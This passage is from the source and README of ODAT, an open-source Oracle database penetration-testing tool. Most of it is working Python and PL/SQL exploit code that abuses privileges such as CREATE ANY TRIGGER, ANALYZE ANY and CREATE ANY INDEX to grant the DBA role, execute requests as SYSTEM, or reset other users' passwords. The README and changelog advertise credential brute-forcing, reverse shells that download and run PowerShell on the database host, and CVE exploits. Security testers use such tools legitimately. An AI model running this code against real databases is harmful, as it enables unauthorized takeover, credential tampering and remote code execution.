{0} for executing the request '{1}'".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, repr(privRequest))) status = self.__execPLSQL__(self.CREATE_STORED_PROC_FOR_CREATE_ANY_TRIGGER.format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, privRequest)) if isinstance(status, Exception): logging.info("Impossible to create the stored procedure named '{0}': {1}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.cleanError(status))) return status else : logging.debug("The stored procedure {0} has been created".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER)) logging.info("Trying to grant execute privilege on {0} to {1}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER)) status = self.__execPLSQL__(self.GRANT_EXECUTE_ON_PROC_FOR_CREATE_ANY_TRIGGER.format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER)) if isinstance(status, Exception): logging.info("Impossible to grant execute privilege on {0} to {1}: {2}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER, self.cleanError(status))) self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER) return status else : logging.debug("Execute privilege on {0} to {1} has been granted".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER, self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER)) logging.info("Trying to create the trigger {0}'".format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER)) status = self.__execPLSQL__(self.CREATE_TRIGGER_FOR_CREATE_ANY_TRIGGER.format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER, self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER, user, self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER)) if isinstance(status, Exception): logging.info("Impossible to create the trigger {0}: {1}".format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER, self.cleanError(status))) self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER) return status else: logging.debug("The trigger {0} has been created".format(self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER)) logging.info("Inserting a value in {0} to start the trigger {1}'".format(self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER, self.COMPLETE_TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER)) status = self.__execPLSQL__(self.INSERT_TABLE_FOR_CREATE_ANY_TRIGGER) if isinstance(status, Exception): logging.info("Impossible to insert data into {0}: {1}".format(self.COMPLETE_TABLE_NAME_FOR_CREATE_ANY_TRIGGER, self.cleanError(status))) self.dropTrigger(triggerName=self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER, schema=self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER) self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER) return status else: logging.debug('The trigger has been started. The user {0} is DBA now!'.format(user)) self.dropTrigger(triggerName=self.TRIGGER_NAME_FOR_CREATE_ANY_TRIGGER, schema=self.OWNER_NAME_OF_TABLE_FOR_CREATE_ANY_TRIGGER) self.dropStoredProcedure(procName=self.STORED_PROC_NAME_FOR_CREATE_ANY_TRIGGER) return True def giveDbaRoleWithCreateAnyTriggerMethod (self, user=None): ''' Try to give the dba role to user If user = None, user = current user Returns: - True if the dba role has been given to user - False if the dba role has NOT been given to user (error) - None if the user has dba role already ''' if user == None : user = self.args['user'] logging.info("Trying to give the DBA role to {0} using CREATE ANY TRIGGER method".format(user)) isDBA = self.hasThisRole('DBA',user) if isDBA == True: logging.info("The {0} has already the DBA role. Nothing to do!".format(user)) return None elif isDBA == None: logging.info("Impossible to know if {0} is DBA. Cancelling...".format(user)) return False else: privRequest = self.GRANT_DBA_TO_USER.format(user) logging.info("Trying to give dba role to current user with {0}".format(repr(privRequest))) status = self.executeSytemRequestWithCreateAnyTriggerMethod(privRequest=privRequest) if status == True: logging.info('The DBA role has been granted to {0}'.format(user)) return True else: logging.info('The DBA role has NOT been granted to {0}'.format(user)) return False #################################################################################################################### # Privilege escalation via ANALYZE ANY privilege # # Methods implemented: # - give to the current user the DBA role; # - execute a request as sys #################################################################################################################### def executeSytemRequestWithAnalyzeAnyMethod(self, privRequest): ''' Try to execute the privRequest request as System with the ANALYZE ANY method If user = None, user = current user Returns: - True if the request has been executed - Exception or False if error ''' def __dropAnalyze__(user,procedureName): ''' Return Exception if error, otherwise return True ''' REQ_DROP_EXTENDED_STATS = "BEGIN DBMS_STATS.DROP_EXTENDED_STATS ('SYSTEM', 'HELP', '({0}.{1}(INFO))'); END;" #{0} user, {1} procedure name logging.info("Trying to drop the extended stats created") status = self.__execPLSQL__(REQ_DROP_EXTENDED_STATS.format(user, procedureName)) if isinstance(status, Exception): logging.info("Impossible to drop extended stats: {0}".format(self.cleanError(status))) return status else : logging.debug("Extended stats dropped") return True self.FUNCTION_NAME_FOR_ANALYZE_ANY = "get_dba_analyse_any" self.CREATE_FUNCTION_FOR_ANALYZE_ANY = "CREATE OR REPLACE FUNCTION {0}(value varchar2) return varchar2 deterministic authid current_user is pragma autonomous_transaction; begin execute immediate '{1}';return 'FALSE';END {0};"#{0} procedure name, {1} Request to execute self.RUN_ANALYZE_FOR_ANALYZE_ANY = "BEGIN dbms_stats.gather_table_stats(ownname => 'SYSTEM', tabname => 'HELP', method_opt => 'for columns ({0}.{1}(INFO)) size auto'); END;"#{0} user, {1} function name to execute user = self.args['user'] logging.info("Trying to create the stored procedure {0} for executing the request '{1}' as SYSTEM with CREATE ANY INDEX method".format(self.FUNCTION_NAME_FOR_ANALYZE_ANY, repr(privRequest))) status = self.__execPLSQL__(self.CREATE_FUNCTION_FOR_ANALYZE_ANY.format(self.FUNCTION_NAME_FOR_ANALYZE_ANY, privRequest)) if isinstance(status, Exception): logging.info("Impossible to create the stored function named '{0}': {1}".format(self.FUNCTION_NAME_FOR_ANALYZE_ANY, self.cleanError(status))) return status else : logging.debug("The stored procedure {0} has been created".format(self.FUNCTION_NAME_FOR_ANALYZE_ANY)) __dropAnalyze__(user=user, procedureName=self.FUNCTION_NAME_FOR_ANALYZE_ANY) logging.info("Grant execute privilege on {0} to system".format(self.FUNCTION_NAME_FOR_ANALYZE_ANY)) status = self.grantPrivilegeOnObjectToUser('execute', self.FUNCTION_NAME_FOR_ANALYZE_ANY, 'system') if isinstance(status, Exception): self.dropStoredFunction(self.FUNCTION_NAME_FOR_ANALYZE_ANY, 'system') return status else: logging.debug('Execute privilege has been granted on the stored function to system') logging.info("Trying to start the analyze for executing the request {0} as SYSTEM".format(repr(privRequest))) status = self.__execPLSQL__(self.RUN_ANALYZE_FOR_ANALYZE_ANY.format(user, self.FUNCTION_NAME_FOR_ANALYZE_ANY)) if isinstance(status, Exception): logging.info("Impossible to run the analyze: {0}".format(self.cleanError(status))) self.dropStoredFunction(self.FUNCTION_NAME_FOR_ANALYZE_ANY, user) return status else : logging.info("Analyse finished. The following request has been executed with SYSTEM privileges: {0}".format(repr(privRequest))) __dropAnalyze__(user=user, procedureName=self.FUNCTION_NAME_FOR_ANALYZE_ANY) self.dropStoredFunction(self.FUNCTION_NAME_FOR_ANALYZE_ANY) return True def giveDbaRoleWithAnalyzeAnyMethod (self): ''' Try to give the dba role to user If user = None, user = current user Returns: - True if the dba role has been given to user - False if the dba role has NOT been given to user (error) - None if the user has dba role already ''' user = self.args['user'] logging.info('Trying to grant DBA role to {0} using ANALYZE ANY method'.format(user)) isDBA = self.hasThisRole('DBA',user) if isDBA == True: logging.info("The {0} has already the DBA role. Nothing to do!".format(user)) return None elif isDBA == None: logging.info("Impossible to know if {0} is DBA. Cancelling...".format(user)) return False else: logging.info("The {0} is not DBA. Continue...".format(user)) grantDBArequest = self.GRANT_DBA_TO_USER.format(user) status = self.executeSytemRequestWithAnalyzeAnyMethod(privRequest=grantDBArequest) if status == True: logging.info('The DBA role has been granted to {0}'.format(user)) return True else: logging.info('The DBA role has NOT been granted to {0}'.format(user)) return False #################################################################################################################### # Privilege escalation via CREATE ANY INDEX privilege # # Methods implemented: # - give to the current user the DBA role; # - execute a request as sys #################################################################################################################### def executeSytemRequestWithCreateAnyIndexMethod(self, privRequest): ''' Try to execute the privRequest request as System with the CREATE ANY INDEX method If user = None, user = current user Returns: - True if the request has been executed without error - Exception if error ''' self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX = "get_dba_create_any_index" self.INDEX_NAME_FOR_CREATE_ANY_INDEX = "get_dba_create_any_index" self.CREATE_FUNCTION_FOR_CREATE_ANY_INDEX = "CREATE OR REPLACE FUNCTION {0}(val varchar2) return varchar2 deterministic authid current_user is pragma autonomous_transaction; BEGIN execute immediate '{1}'; return 'TRUE';END;"#{0} procedure name, {1} Request to execute self.CREATE_INDEX_FOR_CREATE_ANY_INDEX = "CREATE INDEX system.{0} ON system.ol$({1}.{2}(VERSION))"#{0} index name stored in system schema, {1} user, {2} function name to execute self.INSERT_INTO_FOR_CREATE_ANY_INDEX = "INSERT INTO system.ol$(version) VALUES ('{0}')".format(generateRandomString(12)) user = self.args['user'] logging.info("Trying to drop an old index on the table system.ol$") self.dropIndex(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system') logging.info("Trying to create the stored procedure {0} for executing the request '{1}' as SYSTEM with CREATE ANY INDEX method".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, repr(privRequest))) status = self.__execPLSQL__(self.CREATE_FUNCTION_FOR_CREATE_ANY_INDEX.format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, privRequest)) if isinstance(status, Exception): logging.info("Impossible to create the stored function named '{0}': {1}".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, self.cleanError(status))) return status else : logging.debug("The stored procedure {0} has been created".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX)) logging.info("Grant execute privilege on {0} to system".format(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX)) status = self.grantPrivilegeOnObjectToUser('execute', self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, 'system') if isinstance(status, Exception): self.dropStoredFunction(self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX, 'system') return status else: logging.debug('Execute privilege has been granted on the stored function to system') logging.info("Trying to create the index on system.ol$") status = self.__execPLSQL__(self.CREATE_INDEX_FOR_CREATE_ANY_INDEX.format(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, user, self.FUNCTION_NAME_FOR_CREATE_ANY_INDEX)) if isinstance(status, Exception): logging.info("Impossible to create the index {0}: {1}".format(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, self.cleanError(status))) self.dropStoredFunction(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system') return status else : logging.debug("{0} index has been created in system schema".format(self.INDEX_NAME_FOR_CREATE_ANY_INDEX)) logging.info("Trying to insert into system.ol$ for executing the request {0} as SYSTEM".format(repr(privRequest))) status = self.__execPLSQL__(self.INSERT_INTO_FOR_CREATE_ANY_INDEX) if isinstance(status, Exception): logging.info("Impossible to insert into system.ol$: {0}".format(self.cleanError(status))) self.dropIndex(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system') self.dropStoredFunction(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system') return status else : self.dropIndex(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system') self.dropStoredFunction(self.INDEX_NAME_FOR_CREATE_ANY_INDEX, 'system') logging.info("Insertion done. The following request has been executed with SYSTEM privileges: {0}".format(repr(privRequest))) return True def giveDbaRoleWithCreateAnyIndexMethod (self): ''' Try to give the dba role to user If user = None, user = current user Returns: - True if the dba role has been given to user - False if the dba role has NOT been given to user (error) - None if the user has dba role already ''' user = self.args['user'] logging.info('Trying to grant DBA role to {0} using CREATE ANY INDEX method'.format(user)) isDBA = self.hasThisRole('DBA',user) if isDBA == True: logging.info("The {0} has already the DBA role. Nothing to do!".format(user)) return None elif isDBA == None: logging.info("Impossible to know if {0} is DBA. Cancelling...".format(user)) return False else: logging.info("The {0} is not DBA. Continue...".format(user)) grantDBArequest = self.GRANT_DBA_TO_USER.format(user) status = self.executeSytemRequestWithCreateAnyIndexMethod(privRequest=grantDBArequest) if status == True: logging.info('The DBA role has been granted to {0}'.format(user)) return True else: logging.info('The DBA role has NOT been granted to {0}'.format(user)) return False #################################################################################################################### # Test ALL methods #################################################################################################################### def testAll (self): ''' Test all functions ''' DEFAULT_UNKNOWN_ORACLE_USER = "ahNgahchishei5xiesi2" REQUEST_TEST_FOR_ANALYZE_ANY_METHOD = 'GRANT dba to {0}'.format(DEFAULT_UNKNOWN_ORACLE_USER) REQUEST_TEST_FOR_CREATE_ANY_INDEX = 'GRANT dba to {0}'.format(DEFAULT_UNKNOWN_ORACLE_USER) REQUEST_TEST_FOR_CREATE_ANY_TRIGGER = 'GRANT dba to {0}'.format(DEFAULT_UNKNOWN_ORACLE_USER) REQUEST_TEST_FOR_CREATE_ANY_PROCEDURE = 'ALTER USER {0} IDENTIFIED BY {0}'.format(DEFAULT_UNKNOWN_ORACLE_USER) REQUEST_TEST_FOR_EXECUTE_ANY_PROCEDURE = 'GRANT dba to {0}'.format(DEFAULT_UNKNOWN_ORACLE_USER) self.args['print'].subtitle("Gain elevated access (privilege escalation)?") isDBA = self.hasThisRole('DBA') if isDBA == True: logging.info("The current Oracle user has already the DBA role.") self.args['print'].unknownNews("The current user has already DBA role. It does not need to exploit a privilege escalation!") else : #CREATE/EXECUTE ANY PROCEDURE self.args['print'].subsubtitle("DBA role using CREATE/EXECUTE ANY PROCEDURE privileges?") logging.info("If the current user has the CREATE ANY PROCEDURE and EXECUTE ANY PROCEDURE, he can have DBA role") status = self.executeRequestWithExecuteAnyProcedureMethod(privRequest=REQUEST_TEST_FOR_EXECUTE_ANY_PROCEDURE) if isinstance(status, Exception): if DEFAULT_UNKNOWN_ORACLE_USER.upper() in str(status).upper(): logging.info("The current user can give himslef the DBA role using CREATE/EXECUTE ANY PROCEDURE method") self.args['print'].goodNews("OK") else: logging.info("The current user can NOT give himslef the DBA role using CREATE/EXECUTE ANY PROCEDURE method") self.args['print'].badNews("KO") else : logging.info("The current user can NOT give himslef the DBA role using CREATE/EXECUTE ANY PROCEDURE method") self.args['print'].badNews("KO") #CREATE ANY PROCEDURE only self.args['print'].subsubtitle("Modification of users' passwords using CREATE ANY PROCEDURE privilege only?") logging.info("If the current user has the CREATE ANY PROCEDURE he can set the password of arbitrary Oracle user") status = self.executeSytemRequestWithCreateAnyProcedureMethod(privRequest=REQUEST_TEST_FOR_CREATE_ANY_PROCEDURE) if isinstance(status, Exception): if DEFAULT_UNKNOWN_ORACLE_USER.upper() in str(status).upper(): logging.info("The current user can alter Oracle users' passwords with CREATE ANY PROCEDURE method") self.args['print'].goodNews("OK") else: logging.info("The current user can NOT alter Oracle users' passwords with CREATE ANY PROCEDURE method") self.args['print'].badNews("KO") else : logging.info("The current user can NOT alter Oracle users' passwords with CREATE ANY PROCEDURE method") self.args['print'].badNews("KO") #CREATE ANY TRIGGER self.args['print'].subsubtitle("DBA role using CREATE ANY TRIGGER privilege?") logging.info("If the current user has the CREATE ANY TRIGGER and CREATE PROCEDURE, he can have DBA role normally") status = self.executeSytemRequestWithCreateAnyTriggerMethod(privRequest=REQUEST_TEST_FOR_CREATE_ANY_TRIGGER) if isinstance(status, Exception): if DEFAULT_UNKNOWN_ORACLE_USER.upper() in str(status).upper(): logging.info("The current user can have the DBA role using CREATE ANY TRIGGER method") self.args['print'].goodNews("OK") else: logging.info("The current user can NOT have the DBA role using CREATE ANY TRIGGER method") self.args['print'].badNews("KO") else : logging.info("The current user can NOT have the DBA role using CREATE ANY TRIGGER method") self.args['print'].badNews("KO") # ANALYZE ANY method self.args['print'].subsubtitle("DBA role using ANALYZE ANY (and CREATE PROCEDURE) privileges?") logging.info("If the current user has the ANALYZE ANY, he can have DBA role normally") status = self.executeSytemRequestWithAnalyzeAnyMethod(privRequest=REQUEST_TEST_FOR_ANALYZE_ANY_METHOD) if isinstance(status, Exception): if DEFAULT_UNKNOWN_ORACLE_USER.upper() in str(status).upper(): logging.info("The current user can have the DBA role using ANALYZE ANY method") self.args['print'].goodNews("OK") else: logging.info("The current user can NOT have the DBA role using ANALYZE ANY method") self.args['print'].badNews("KO") else : logging.info("The current user can NOT have the DBA role using ANALYZE ANY method") self.args['print'].badNews("KO") # CREATE ANY INDEX method self.args['print'].subsubtitle("DBA role using CREATE ANY INDEX (and CREATE PROCEDURE) privileges?") logging.info("If the current user has the CREATE ANY INDEX, he can have DBA role normally") status = self.executeSytemRequestWithCreateAnyIndexMethod(privRequest=REQUEST_TEST_FOR_CREATE_ANY_INDEX) if isinstance(status, Exception): if DEFAULT_UNKNOWN_ORACLE_USER.upper() in str(status).upper(): logging.info("The current user can have the DBA role using CREATE ANY INDEX method") self.args['print'].goodNews("OK") else: logging.info("The current user can NOT have the DBA role using CREATE ANY INDEX method") self.args['print'].badNews("KO") else : logging.info("The current user can NOT have the DBA role using CREATE ANY INDEX method") self.args['print'].badNews("KO") def runPrivilegeEscalationModule(args): ''' Run the Passwords module ''' status = True if checkOptionsGivenByTheUser(args,["test-module", "revoke-dba-role", "dba-with-execute-any-procedure", "alter-pwd-with-create-any-procedure", "dba-with-create-any-trigger", "dba-with-analyze-any", "dba-with-create-any-index", "exec-with-analyze-any", "exec-with-create-any-index", "exec-with-create-any-trigger", "exec-with-create-any-procedure", "exec-with-execute-any-procedure", "get-privs", "get-detailed-privs"]) == False : return EXIT_MISS_ARGUMENT privilegeEscalation = PrivilegeEscalation(args) status = privilegeEscalation.connection(stopIfError=True) if args['test-module'] == True : args['print'].title("Test if the current user can gain elevated access (privilege escalation)") status = privilegeEscalation.testAll() if args['get-privs'] == True : args['print'].title("Get system privileges and roles of current Oracle user") status = privilegeEscalation.printPrivilegesAndRoles() if args['get-detailed-privs'] == True: args['print'].title("Get system privileges and roles of current Oracle user + roles and privileges of roles granted to this current user") status = privilegeEscalation.printPrivilegesAndRoles(deep=True) if args['revoke-dba-role'] == True : args['print'].title("Revoke DBA role from current user ({0})".format(privilegeEscalation.args['user'])) status = privilegeEscalation.revokeDbaRole() if isinstance(status,Exception): args['print'].badNews("Impossible to revoke DBA role from {0}: {1}".format(privilegeEscalation.args['user'], status)) else : args['print'].goodNews("The DBA role has been revoked from {0}".format(privilegeEscalation.args['user'])) if args['dba-with-execute-any-procedure'] == True: args['print'].title("Grant DBA role to current user with CREATE/EXECUTE ANY PROCEDURE method") status = privilegeEscalation.giveDbaRoleWithExecuteAnyProcedureMethod() if isinstance(status,Exception): args['print'].badNews("Impossible to grant DBA role to current user: {0}".format(status)) elif status==None: args['print'].unknownNews("The current user has already DBA role") elif status==True: args['print'].goodNews("The DBA role has been granted to this current user") if args['alter-pwd-with-create-any-procedure'] != None : user, newpwd = privilegeEscalation.args['alter-pwd-with-create-any-procedure'][0], privilegeEscalation.args['alter-pwd-with-create-any-procedure'][1] args['print'].title("Alter the password of {0} by '{1}' with CREATE ANY PROCEDURE method".format(user, newpwd)) status = privilegeEscalation.setPasswordWithCreateAnyProcedureMethod(user, newpwd) if isinstance(status,Exception): args['print'].badNews("Impossible to alter the password of {0}: {1}".format(user, status)) elif status==True: args['print'].goodNews("Password of {0} user modified: The new password of {0} is '{1}'".format(user, newpwd)) if args['dba-with-create-any-trigger'] == True: args['print'].title("Grant DBA role to current user with CREATE ANY TRIGGER method") status = privilegeEscalation.giveDbaRoleWithCreateAnyTriggerMethod() if isinstance(status,Exception): args['print'].badNews("Impossible to grant DBA role to current user: {0}".format(status)) elif status==None: args['print'].unknownNews("The current user has already DBA role") elif status==True: args['print'].goodNews("The DBA role has been granted to this current user") if args['dba-with-analyze-any'] == True: args['print'].title("Grant DBA role to current user with ANALYZE ANY method") status = privilegeEscalation.giveDbaRoleWithAnalyzeAnyMethod() if isinstance(status,Exception): args['print'].badNews("Impossible to grant DBA role to current user: {0}".format(status)) elif status==None: args['print'].unknownNews("The current user has already DBA role") elif status==True: args['print'].goodNews("The DBA role has been granted to this current user") else: args['print'].badNews("The DBA role has NOT been granted to this current user") if args['dba-with-create-any-index'] == True: args['print'].title("Grant DBA role to current user with CREATE ANY INDEX method") status = privilegeEscalation.giveDbaRoleWithCreateAnyIndexMethod() if isinstance(status,Exception): args['print'].badNews("Impossible to grant DBA role to current user: {0}".format(status)) elif status==None: args['print'].unknownNews("The current user has already DBA role") elif status==True: args['print'].goodNews("The DBA role has been granted to this current user") else: args['print'].badNews("The DBA role has NOT been granted to this current user") #Semi manual exploitation if args['exec-with-execute-any-procedure'] != None: args['print'].title("Execute the request as SYSTEM with CREATE/EXECUTE ANY PROCEDURE method") status = privilegeEscalation.executeRequestWithExecuteAnyProcedureMethod(privRequest=args['exec-with-execute-any-procedure'][0]) if isinstance(status,Exception): args['print'].badNews("Impossible to execute the request as SYSTEM: {0}".format(status)) elif status==True: args['print'].goodNews("The request has been executed successfully as system") if args['exec-with-create-any-procedure'] != None: args['print'].title("Execute the request as SYSTEM with CREATE ANY PROCEDURE method only") status = privilegeEscalation.executeSytemRequestWithCreateAnyProcedureMethod(privRequest=args['exec-with-create-any-procedure'][0]) if isinstance(status,Exception): args['print'].badNews("Impossible to execute the request as SYSTEM: {0}".format(status)) elif status==True: args['print'].goodNews("The request has been executed successfully as system") if args['exec-with-create-any-trigger'] != None: args['print'].title("Execute the request as SYSTEM with CREATE ANY TRIGGER method") status = privilegeEscalation.executeSytemRequestWithCreateAnyTriggerMethod(privRequest=args['exec-with-create-any-trigger'][0]) if isinstance(status,Exception): args['print'].badNews("Impossible to execute the request as SYSTEM: {0}".format(status)) elif status==True: args['print'].goodNews("The request has been executed successfully as system") if args['exec-with-analyze-any'] != None: args['print'].title("Execute the request as SYSTEM with ANALYZE ANY method") status = privilegeEscalation.executeSytemRequestWithAnalyzeAnyMethod(privRequest=args['exec-with-analyze-any'][0]) if isinstance(status,Exception): args['print'].badNews("Impossible to execute the request as SYSTEM: {0}".format(status)) elif status==True: args['print'].goodNews("The request has been executed successfully as system") if args['exec-with-create-any-index'] != None: args['print'].title("Execute the request as SYSTEM with CREATE ANY INDEX method") status = privilegeEscalation.executeSytemRequestWithCreateAnyIndexMethod(privRequest=args['exec-with-create-any-index'][0]) if isinstance(status,Exception): args['print'].badNews("Impossible to execute the request as SYSTEM: {0}".format(status)) elif status==True: args['print'].goodNews("The request has been executed successfully as system") odat-5.1.1/README.md000066400000000000000000000377451423220672100137430ustar00rootroot00000000000000| __Quentin HARDY__ | | ------------- | | __quentin.hardy@protonmail.com__ | | __quentin.hardy@bt.com__ | ODAT ==== __ODAT__ (Oracle Database Attacking Tool) is an open source __penetration testing__ tool that tests the security of __Oracle Databases remotely__. Usage examples of ODAT: * You have an Oracle database listening remotely and want to find valid __SIDs__ and __credentials__ in order to connect to the database * You have a valid Oracle account on a database and want to __escalate your privileges__ to become DBA or SYSDBA * You have a Oracle account and you want to __execute system commands__ (e.g. __reverse shell__) in order to move forward on the operating system hosting the database Tested on Oracle Database __10g__, __11g__, __12c__, __18c__ and __19c__. __ODAT linux standalone__ version at [https://github.com/quentinhardy/odat/releases/](https://github.com/quentinhardy/odat/releases/). Notice it is recommended to use the development version (*git clone*), *master-python3* branch (python 3 version). Changelog ==== * Version __5.1.1__ (__27/04/2022__): * print a warning message when an "ORA-12519 - TNS:no appropriate service handler found" occured. This error can be triggered by the database server (listener) when too many connections have been established (when bruteforcing credentials for example). In this case, __--sleep__ option should be used (e.g. *--sleep 0.2*). * Version __5.1__ (__12/03/2021__): * new option in _all_ module: __--nmap-file__ for loading all Oracle databases from a nmap XML outpout file * new option in _all_ module: __-l__ for loading all targets from a text file (ip:port or ip on each line) * In _all_ module, a TCP connection is tested on each target before to start ODAT tests now. __--timeout-tcp-check__ can be used to manage timeout value. * In _all_ module, a test is done on each target now for checking if the TNS listener is well configured. This test is done after TCP connection test. * new global option: __--client-driver__. Allows to set the client name for database connection (__client_driver__ from __V$SESSION_CONNECT_INFO__). Useful for applications whose end-users are not aware cx_Oracle is being. used. By default, 'sql*plus' now. * ODAT accepts a __sqlnet.ora__ file now. A default file is in __conf/__. The timeout TCP & OUTBOUND (TNS) connection is set to 60 seconds by default now. * Version __5.0__ (__08/02/2021__): * Important new module: __Service Name Guesser__, for searching valid Service Names. Specific module named __*snguesser*__ and integrated in *all* module too. By default, *all* module searches all valid Service Names now after searching SIDs. SIDs can be identical to Service Name. When a Service Name is found but not a SID, Service Name can be used as a SID for connection. * __--basic-info__ option in _search_ module for getting some basic technical information about the database/instance. It gets Service Name, SID, databases, Oracle Database Vault status, Java status, hostname, ip address of the server, password policy, current system pivileges, current roles, pathches (when >= 12c and user is privileged), etc. Requires high pivileges for very interesting information (e.g. password policy & lock status). * Reverse shell implemented in _DbmsScheduler_ module when the target is Windows. Starts a minimal http server, makes the Oracle Database download the powershell code and executes it remotely. The user has an interactive PS shell. Downloaded file is removed automatically. * _--make-download_ option implemented in _DbmsScheduler_ in order to make download a Windows target a script/binary file. * Bug fix in output in _DbmsScheduler_ module (_printOSCmdOutput()_). * Better explanations in _DbmsScheduler_ module (options). * Version __4.3__ (__28/06/2020__): * new option: _--both-ul_. Try each password in lower case and upper case if it is not done in credential file(s) * new option: _--random-order_. Test accounts in random order. By default, it uses the text file order * all passwords are tested in lower case now by default (account files modified from upper to lower case) * some new accounts * Version __4.2__ (__04/02/2020__): * minimal interactive SQL shell in search module * new feature for downloading files with DBMS_XSLPROCESSOR.read2clob in DbmsXslprocessor module * improvement for having remote OS after authentication * bug fix (e.g. terminal size) * Version __4.1__ (__01/15/2020__): * Option for connection with SERVICE NAME instead of SID * Encoding set to UTF-8 by default for some operations (e.g. NVARCHAR2 and NCLOB, VARCHAR2 and CLOB) * Multiple bug fixes (encoding problems) * Version __4.0__ (__08/10/2019__): * Odat with python 3, stable version * Version __3.0__ (__01/09/2019__): * Compatible with Oracle Database 18c * New option in Java module for setting the path to shell (e.g. /usr/bin/sh when CentOS) * Version __2.3.2__ (__16/07/2019__): * Bug fixes: * external table and false negative * Version __2.3.1__ (__10/08/2018__): * New option in Java module for exploiting CVE-2018-3004: It allows an authenticated user to arbitrarily write to files on the OS (Privilege escalation with bypass built in Oracle JVM security). More details [http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html](http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html). * Version __2.3__ (__06/03/2018__): * Bug fixes: * Some database credentials could not be detected in passwordguesser module (when it tries to connect as SYSDBA/SYSOPER before). Important bug fix! * PPoutput missing in smb module (thx to dirkjanm) * False positive in tnspoison module * Sometimes, impossible to get version from VSNNUM * Improvements: * Performence improvements when you bruteforce accounts. * Option for connection with a TNS Connection String * New trivial credentials in accounts file * Better read file method in dbmsLob module (thx to omair2084) * Version __2.2.1__ (__12/04/2017__): * Bug fixes: * Version in tnscmd ([info](https://github.com/quentinhardy/odat/commit/9b7ec57cfed0fe74381edff28b73532562acaa2c)) * External module (Catch an Oracle error) * Catch error when "connection to server failed" * Tnscmd: "The server SID must be given with the '-d SID' option * TypeError Bug Fix in tnspoison module * TNS poisoning module when port!=1521 (Integer bug) * Improvements: * New SIDs * Version __2.2__ (__25/03/2016__): * A new module (_tnspoison_) for exploiting the TNS listener poisoning attack (CVE-2012-1675). Big thanks to [Joxean Koret](http://seclists.org/fulldisclosure/2012/Apr/204) and [donctl](https://github.com/donctl). * Some bug fixes * Better help menu * [__WIKI__ pages](https://github.com/quentinhardy/odat/wiki) in the ODAT repository * Version __2.1__ (__04/03/2016__) : * A new module (_cve_) for exploiting some CVE (Common Vulnerabilities and Exposures). CVE-2012-3137 (perhaps this number, I'm not sure...) implemented at the moment: A user authenticated can modify all tables who can select even if he can't modify them normally (no ALTER privilege). * new option (__--accounts-files__) for remote authentication attack which uses 2 distinct files: a login list and password list. * Print 10g passwords for oclHashcat compatibility. * bug fixes (listening with __nc__). * Version __2.0__ (__21/02/2016__) : * A new module (_privesc_) for using system privileges of an Oracle user (e.g. CREATE ANY PROCEDURE) in order to gain privileged access (i.e. DBA). System privileges that can be used by ODAT in this version: * CREATE ANY PROCEDURE: execution of arbitrary requests with APEX_040200's privileges (e.g. modification of Oracle users' passwords) * CREATE PROCEDURE and EXECUTE ANY PROCEDURE: execution of arbitrary requests as SYS (e.g. gives DBA role to a user) * CREATE ANY TRIGER (and CREATE PROCEDURE): execution of arbitrary requests as SYS (e.g. gives DBA role to a user) * ANALYZE ANY (and CREATE PROCEDURE): execution of arbitrary requests as SYS (e.g. gives DBA role to a user) * CREATE ANY INDEX (and CREATE PROCEDURE): execution of arbitrary requests as SYS (e.g. gives DBA role to a user) * The module _privesc_ can be used to get all system privileges and roles granted. It shows system privileges that can be used to gain privileged access. * new option (-vvv) for showing SQL requests sent by ODAT in debugs * standalone version moved to *releases* ([https://github.com/quentinhardy/odat/releases/](https://github.com/quentinhardy/odat/releases/)) * Version __1.6__ (__14/07/2015__) : * new feature to detect if a target is vulnerable to TNS poisoning (CVE-2012-1675) * new module named *unwrapper* to unwrap PL/SQL source code wrapped, from a file or a remote database * some improvements done * Version __1.5__ (__17/03/2015__) : * new module named *search* in order to search in column names * some improvements done (ex: output of tables) * new option : output encoding * Version __1.4__ (__07/12/2014__) : * fix some false positives * improve the CVE-2012-3137 module: check more easily if the vulnerability can be exploited * Version __1.3__ (__07/10/2014__) : * add the *-C* option in 